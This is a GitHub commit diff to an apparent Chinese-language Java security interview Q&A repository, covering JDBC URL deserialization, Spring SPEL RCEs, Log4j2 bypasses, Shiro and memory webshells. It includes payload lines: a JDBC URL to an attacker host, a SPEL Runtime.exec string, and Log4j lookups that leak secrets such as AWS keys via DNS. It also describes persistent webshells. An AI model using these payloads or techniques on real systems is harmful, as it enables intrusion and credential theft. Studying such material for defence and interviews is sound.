Skip to content

Commit b44f5d8

Browse files
committed
update
1 parent 80e017b commit b44f5d8

File tree

6 files changed

+80
-26
lines changed

6 files changed

+80
-26
lines changed

README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -18,17 +18,17 @@
1818

1919
## 分类
2020

21-
当前问题总数:62
21+
当前问题总数:67
2222

23-
[Java本身的安全问题 - 15个](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
23+
[Java本身的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
2424

2525
[Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro)
2626

2727
[Fastjson组件相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson)
2828

2929
[Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2)
3030

31-
[Spring框架相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring)
31+
[Spring框架相关的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring)
3232

3333
[内存马专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell)
3434

java/README.md

Lines changed: 18 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -182,7 +182,7 @@ LinkedHashSet.readObject()
182182

183183
- 谈谈8U20反序列化(★★★★★)
184184

185-
这是7U21修复的绕过(作者对该问题了解较浅,面试没有被问到过)
185+
这是7U21修复的绕过
186186

187187
`AnnotationInvocationHandler`反序列化调用`readObject`方法中,对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过,在它的`readObject`方法中调用`readChildren`方法,其中有`try-catch`但没有抛出异常而是`continue`继续
188188

@@ -222,4 +222,20 @@ Y4er师傅提到的自定义类加载器配合RMI的一种方式
222222

223223
原理类似`linux`的通杀回显,在`windows``nio/bio`中有类似于`linux`文件描述符这样的句柄文件
224224

225-
遍历`fd`反射创建对应的文件描述符,利用`sun.nio.ch.Net#remoteAddress`确认文件描述符有效性,然后往里面写数据实现回显
225+
遍历`fd`反射创建对应的文件描述符,利用`sun.nio.ch.Net#remoteAddress`确认文件描述符有效性,然后往里面写数据实现回显
226+
227+
228+
229+
- 是否了解JDBC Connection URL攻击
230+
231+
果我们可以控制`JDBC URI`就可将`JDBC`连接地址指向攻击者事先准备好的恶意服务器,这个服务器可以返回恶意的序列化数据
232+
233+
指定`autoDeserialize`参数为`true``MySQL`客户端就可以自动反序列化恶意Payload
234+
235+
使用`ServerStatusDiffInterceptor`触发客户端和服务端的交互和反序列化
236+
237+
```text
238+
jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
239+
```
240+
241+
以上是基本攻击手段,还有一些进阶的内容,例如`allowUrlInLocalInfile``detectCustomCollations`参数

log4j2/README.md

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -8,15 +8,15 @@
88

99
- 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★)
1010

11-
修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE
11+
修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常绕过HOSOT限制,然后`lookup`触发RCE
1212

1313

1414

1515
- Log4j2的两个DOS CVE了解吗(★★)
1616

1717
其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题
1818

19-
另一个DOS是嵌套标签`${}`导致栈溢出
19+
另一个DOS是嵌套标签`${}`递归解析导致栈溢出
2020

2121

2222

@@ -40,7 +40,7 @@
4040

4141
利用其他的`lookup`可以做信息泄露例如`${env:USER}``${env:AWS_SECRET_ACCESS_KEY}`
4242

43-
`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息
43+
`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息,不过`SpringBoot`默认不使用`log4j2`
4444

4545
这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}`
4646

@@ -50,5 +50,4 @@
5050

5151
利用JavaAgent改JVM中的字节码,可以直接删了`JndiLookup`的功能
5252

53-
有公众号提出类似`Shiro``Key`的思路,利用反射把`JndiLookup`删了也是一种办法
54-
53+
有公众号提出类似`Shiro``Key`的思路,利用反射把`JndiLookup`删了也是一种办法

memshell/README.md

Lines changed: 13 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,12 @@
22

33
- Tomcat和Spring内存马分别有哪些(★)
44

5-
Tomcat内存马有:Filter型,Servlet型,Listener型,Java Agent型
5+
Tomcat内存马有:Filter型,Servlet型,Listener型
66

77
Spring内存马有:Controller型,Interceptor型
88

9+
Java Agent内存马:这种方式不仅限于`Tomcat``Spring`
10+
911

1012

1113
- Servlet/Filter内存马查杀手段是怎样的(★★★)
@@ -20,17 +22,17 @@ Spring内存马有:Controller型,Interceptor型
2022

2123
- Filter内存马查杀时候有什么明显特征吗(★★★)
2224

23-
首先是类名可能是恶意的,或者报名和项目名不符,可以一眼看出
25+
首先是类名可能是恶意的,或者包名和项目名不符,可以一眼看出
2426

25-
其次优先级肯定是第一位的,这由内存马的特性决定,重点关注第一个Filter
27+
其次优先级肯定是第一位的,这由内存马的特性决定,所以应该重点关注第一个Filter
2628

2729
观察ClassLoader是否是不正常的,以及是否存在对应的Class文件
2830

2931

3032

3133
- 如何实现无法删除的Servlet/Filter内存马(★★★★)
3234

33-
有一种思路是再`destroy`方法中加入再注册内存马的代码,但并不是所有删除方式都会触发`destroy`方法
35+
有一种思路是在`destroy`方法中加入再注册内存马的代码,但并不是所有删除方式都会触发`destroy`方法
3436

3537
所以另外的思路是跑一个不死线程,循环检测该内存马是否存在,以及注册的功能
3638

@@ -40,26 +42,27 @@ Spring内存马有:Controller型,Interceptor型
4042

4143
内存马持久化这个问题必须要往本地写文件
4244

43-
一般来说可以往Tomcat里写字节码或者直接改写依赖的Jar,再`doFilter`等位置插入恶意字节码
44-
45-
4ra1n师傅提到的修改Tomcat的Lib也是一种手段
45+
一般来说可以往Tomcat里写字节码或者直接改写依赖的Jar,在`doFilter`等位置插入恶意字节码
4646

47+
4ra1n师傅提到的修改Tomcat的Lib也是一种手段,在默认开启的`WsFilter`中修改代码
4748

4849

49-
- 内存马持久化写字节码方式除了`@Filter`标签还有什么办法
5050

51+
- 内存马持久化写字节码方式除了`@Filter`标签还有什么办法(★★★)
5152
使用`ServletContainerInitializer`用于在容器启动阶段注册三大组件,取代`web.xml`配置。其中`onStartup`方法会在`Tomcat`中间件重启加载当前`webapp`会优先执行这个方法。通过改方法,我们可以注册一个`webshell``filter`
5253

5354

5455

5556
- Java Agent内存马的查杀(★★★)
5657

57-
网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中所有的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段
58+
网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中可能有问题的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段
5859

5960

6061

6162
- 如果有一个陌生的框架你如何挖内存马(★★★)
6263

63-
核心是找到类似`Tomcat``Spring`中类似`Context`的对象,然后尝试从其中获取`request``response`对象以实现内存马的功能。可以从常见的类名称入手:Requst、ServletRequest、RequstGroup、RequestInfo、RequestGroupInfo等等。可以参考c0ny1师傅的`java-object-searcher`项目,半自动搜索`request`对象
64+
核心是找到类似`Tomcat``Spring`中的`Context`对象,然后尝试从其中获取`request``response`对象以实现内存马的功能。
6465

66+
可以从常见的类名入手:Requst、ServletRequest、RequstGroup、RequestInfo、RequestGroupInfo等等
6567

68+
可以参考c0ny1师傅的`java-object-searcher`项目,半自动搜索`request`对象

shiro/README.md

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,9 @@
88

99
- Shiro反序列化怎么检测key(★★★)
1010

11-
实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密,然后加入到`Cookie``rememberMe`字段中发送,如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key
11+
实例化一个`SimplePrincipalCollection`并序列化,遍历key列表对该序列化数据进行AES加密,然后加入到`Cookie``rememberMe`字段中发送
12+
13+
如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key
1214

1315

1416

@@ -26,9 +28,9 @@
2628

2729
- Shiro反序列化Gadget选择有什么坑吗(★★★)
2830

29-
默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID` 不一致
31+
默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID`不一致
3032

31-
另一个CB1的坑是`Comparator`来自于CC,需要使用如下的
33+
另一个CB1的坑是`Comparator`来自于CC,需要使用如下的才可以在没有CC依赖情况下成功RCE
3234

3335
```java
3436
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
@@ -40,16 +42,18 @@ BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORD
4042

4143
Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错
4244

43-
解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本`Tomcat`可能修改方式不一致。另外一种更为通用的手段是打过去一个`Loader``Payload`加载请求`Body`里的字节码,将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象,更进一步可以写文件`URLClassLoader`加载
45+
解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本`Tomcat`可能修改方式不一致
46+
47+
另外一种更为通用的手段是打过去一个`Loader``Payload`加载请求`Body`里的字节码,将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象,解决办法是可以写文件后`URLClassLoader`加载
4448

4549

4650

47-
- 有什么办法让Shiro洞只能被你一人发现(★★)
51+
- 有什么办法让Shiro洞不被别人挖到(★★)
4852

4953
发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效,新用户不影响
5054

5155

5256

5357
- Shiro的权限绕过问题了解吗(★★)
5458

55-
主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}`
59+
主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page`为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}`,原理同上

spring/README.md

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,38 @@ Spring处理参数值出错时会将参数中`${}`中的内容当作`SPEL`解析
66

77

88

9+
- 谈谈Spring Data REST SPEL RCE(★★)
10+
11+
当使用`JSON PATCH`对数据修改时,传入的`PATH`参数会解析`SPEL`
12+
13+
14+
15+
- 谈谈Spring Web Flow SPEL RCE(★★)
16+
17+
`Model`的数据绑定上存在漏洞,但漏洞出发条件比较苛刻
18+
19+
由于没有明确指定相关`Model`的具体属性,导致从表单可以提交恶意的表达式`SPEL`被执行
20+
21+
22+
23+
- 谈谈Spring Messaging SPEL RCE(★★)
24+
25+
其中的`STOMP`模块发送订阅命令时,支持选择器标头,该选择器充当基于内容路由的筛选器
26+
27+
这个筛选器`selector`属性的值会解析`SPEL`导致RCE
28+
29+
30+
31+
- 谈谈Spring Data Commons SPEL RCE(★★)
32+
33+
请求参数中如何包含`SPEL`会被解析,参考下方Payload
34+
35+
```text
36+
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]
37+
```
38+
39+
40+
941
- 谈谈SpringCloud SnameYAML RCE(★★★)
1042

1143
该漏洞的利用条件是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置

0 commit comments

Comments
 (0)